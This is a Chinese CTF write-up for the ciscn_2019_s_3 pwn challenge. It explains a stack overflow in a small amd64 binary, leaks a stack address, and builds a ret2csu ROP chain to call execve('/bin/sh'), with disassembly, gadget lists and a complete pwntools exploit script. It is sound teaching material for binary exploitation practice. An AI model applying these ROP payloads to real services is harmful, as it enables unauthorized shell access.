ciscn 2019 s 3

文章描述了一个针对amd64架构的程序,该程序存在一个缓冲区溢出漏洞。通过分析汇编代码,作者找到了可以利用的gadget来执行特定的系统调用(execve),以获取shell。文章提到了两种方法:一种是直接构造payload利用ret2cmu,另一种是通过调整寄存器状态并利用call指令来达到同样的目的。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

https://files.buuoj.cn/files/5f9ef7ea96325fa7c9301560afeec679/ciscn_s_3

grxer@Ubuntu16:~/Desktop/pwn$ checksec ciscn_2019_s_3
[*] '/home/grxer/Desktop/pwn/ciscn_2019_s_3'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

大体思路

大体上main里只有vuln这一个函数,buf会溢出

.text:00000000004004ED
.text:00000000004004ED                               ; __unwind {
.text:00000000004004ED 55                            push    rbp
.text:00000000004004EE 48 89 E5                      mov     rbp, rsp
.text:00000000004004F1 48 31 C0                      xor     rax, rax
.text:00000000004004F4 BA 00 04 00 00                mov     edx, 400h                       ; count
.text:00000000004004F9 48 8D 74 24 F0                lea     rsi, [rsp+buf]                  ; buf
.text:00000000004004FE 48 89 C7                      mov     rdi, rax                        ; fd
.text:0000000000400501 0F 05                         syscall                                 ; LINUX - sys_read
.text:0000000000400503 48 C7 C0 01 00 00 00          mov     rax, 1
.text:000000000040050A BA 30 00 00 00                mov     edx, 30h ; '0'                  ; count
.text:000000000040050F 48 8D 74 24 F0                lea     rsi, [rsp+buf]                  ; buf
.text:0000000000400514 48 89 C7                      mov     rdi, rax                        ; fd
.text:0000000000400517 0F 05                         syscall                                 ; LINUX - sys_write
.text:0000000000400519 C3                            retn
.text:0000000000400519
.text:0000000000400519                               vuln endp ; sp-analysis failed
.text:0000000000400519
.text:0000000000400519                               ; ---------------------------------------------------------------------------
.text:000000000040051A 90                            db 90h
.text:000000000040051B                               ; ---------------------------------------------------------------------------
.text:000000000040051B 5D                            pop     rbp
.text:000000000040051C C3                            retn

有gadget,看到3b=59系统调用号,#define __NR_execve 59,可以配合syscall起shell

.text:00000000004004D6                               public gadgets
.text:00000000004004D6                               gadgets proc near
.text:00000000004004D6                               ; __unwind {
.text:00000000004004D6 55                            push    rbp
.text:00000000004004D7 48 89 E5                      mov     rbp, rsp
.text:00000000004004DA 48 C7 C0 0F 00 00 00          mov     rax, 0Fh
.text:00000000004004E1 C3                            retn
.text:00000000004004E1
.text:00000000004004E1                               gadgets endp ; sp-analysis failed
.text:00000000004004E1
.text:00000000004004E2                               ; ---------------------------------------------------------------------------
.text:00000000004004E2 48 C7 C0 3B 00 00 00          mov     rax, 3Bh ; ';'
.text:00000000004004E9 C3                            retn
.text:00000000004004E9
.text:00000000004004E9                               ; ---------------------------------------------------------------------------
.text:00000000004004EA 90                            db 90h
.text:00000000004004EB                               ; ---------------------------------------------------------------------------
.text:00000000004004EB 5D                            pop     rbp
.text:00000000004004EC C3                            retn

这里我们我们可以从vuln汇编最后ret前没有常规的pop ebp等,只需覆盖到ebp就可以ret到hook函数,同时程序没有/bin/sh string,我们还需要自己构造

vuln函数 mov edx, 30h ; '0'输入0x30字节,我们的buf只是在0x10位置会把ebp给输出来,我们可以利用泄露的ebp,来寻址我们的输入,通过输入构造binsh

泄露ebp

s(b’/bin/sh\x00’.ljust(0x10,b’a’)+p64(ret_fun))

在这里插入图片描述

我们泄露0x7ffed29ae428,输入在0x7ffed29ae310。

再次返回vuln函数,泄露地址-0x118,就可以得到输入栈地址

ret2cmu getshell

first way

padding=b’/bin/sh\x00’.ljust(0x10,b’a’)
payload=padding+p64(csu_end)+p64(0)*2+p64(ebp+0x50)+p64(0)*3+p64(csu_front)+p64(mov_rax)+p64(rdi)+p64(ebp)+p64(syscall)

这里我们要execve(“/bin/sh”,0,0)

将sys_execve 的调用号 59 赋值给 rax
将第一个参数即字符串 "/bin/sh"的地址 赋值给 rdi
将第二个参数 0  赋值给 rsi
将第三个参数 0  赋值给 rdx

rax,rdi,rsi 好说

grxer@Ubuntu16 ~/D/pwn> ROPgadget --binary 'ciscn_2019_s_3' --only 'pop|ret'
Gadgets information
============================================================
0x000000000040059c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040059e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005a0 : pop r14 ; pop r15 ; ret
0x00000000004005a2 : pop r15 ; ret
0x000000000040059b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040059f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400440 : pop rbp ; ret
0x00000000004005a3 : pop rdi ; ret
0x00000000004005a1 : pop rsi ; pop r15 ; ret
0x000000000040059d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004003a9 : ret

rdx置零需要cmu


.text:0000000000400580 4C 89 EA                      mov     rdx, r13
.text:0000000000400583 4C 89 F6                      mov     rsi, r14
.text:0000000000400586 44 89 FF                      mov     edi, r15d
.text:0000000000400589 41 FF 14 DC                   call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:0000000000400589
.text:000000000040058D 48 83 C3 01                   add     rbx, 1
.text:0000000000400591 48 39 EB                      cmp     rbx, rbp
.text:0000000000400594 75 EA                         jnz     short loc_400580
.text:0000000000400594
.text:0000000000400596
.text:0000000000400596                               loc_400596:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400596 48 83 C4 08                   add     rsp, 8
.text:000000000040059A 5B                            pop     rbx
.text:000000000040059B 5D                            pop     rbp
.text:000000000040059C 41 5C                         pop     r12
.text:000000000040059E 41 5D                         pop     r13
.text:00000000004005A0 41 5E                         pop     r14
.text:00000000004005A2 41 5F                         pop     r15
.text:00000000004005A4 C3                            retn
.text:00000000004005A4                               ; } // starts at 400540

这里我们利用40059A处的rdi,再返回到0400580,可以控制rdx,同时将rbx置零,就会call [r12+rbx*8]里的内容,也就是说这里控制流会被劫持,我们将r12里的内容控制为我们原本要ret的mov_rax即可,只不过这里是call,有意思的就是这里

call mov_ret

在这里插入图片描述

call之后会返回到 add rbx,1

这个时候 rbp和rbp一定不相等,再次回到csu_front进行call [r12+rbx*8]=call [r12+8]也就是我们的pop rdi指令

在这里插入图片描述

这次的pop rdi 会把call [r12+8] 的返回地址pop掉这样我们ret是执行流回到payload的mov rax上然后正常rop

second way

payload=padding+p64(csu_end)+p64(0)+p64(1)+p64(ebp+0x50)+p64(0)+p64(0)+p64(0)+p64(csu_front)+p64(mov_rax)

payload+=b’a’*48+p64(rdi)+p64(ebp)+p64(syscall)

这里就是用一个常规的ret2cmu,将ebp和rbx去符合cmp rbx, rbp,不跳转的跳转最后再ret到pop rdi的执行流

def csu(rbx,rbp,r12_call,r13_a3,r14_a2,r15_a1,last_ret):#注意第三个参数是call的r12寄存器所存地址里的地址call	qword ptr [r12+rbx*8]
    '''
    rbx=0
    rbp=1
    r12= call the address in address
    r13= rdx third argument
    r14= rsi second argument
    r15= edi first argument 
    last= ret address   
    '''
    payload=padding+fake_rbp+p64(cmu_end)+p64(rbx)+p64(rbp)+p64(r12_call)+p64(r13_a3)+p64(r14_a2)+p64(r15_a1)+p64(cmu_front)
    payload+=fake_reg+p64(last_ret)
    io.send(payload)
    #fake_reg一般56字节

在这里插入图片描述

在这里插入图片描述

exp

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./ciscn_2019_s_3'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
    io = remote('node4.buuoj.cn','29483')
else:
    io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
p =lambda x,y:success(x+'-->'+hex(y))
db('b *0x0400501')
ret_fun=0x04004ED
csu_end = 0x040059A
csu_front = 0x0400580
rdi=0x00000000004005a3
syscall=0x400517
mov_rax=0x4004E2
s(b'/bin/sh\x00'.ljust(0x10,b'a')+p64(ret_fun))
r(0x20)
ebp=u64(r(6).ljust(8,b'\x00'))-0x118
p('ebp',ebp)
padding=b'/bin/sh\x00'.ljust(0x10,b'a')
#first way
payload=padding+p64(csu_end)+p64(0)*2+p64(ebp+0x50)+p64(0)*3+p64(csu_front)+p64(mov_rax)+p64(rdi)+p64(ebp)+p64(syscall)
#second way
# payload=padding+p64(csu_end)+p64(0)+p64(1)+p64(ebp+0x50)+p64(0)+p64(0)+p64(0)+p64(csu_front)+p64(mov_rax)
# payload+=b'a'*48+p64(rdi)+p64(ebp)+p64(syscall)
s(payload)
io.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值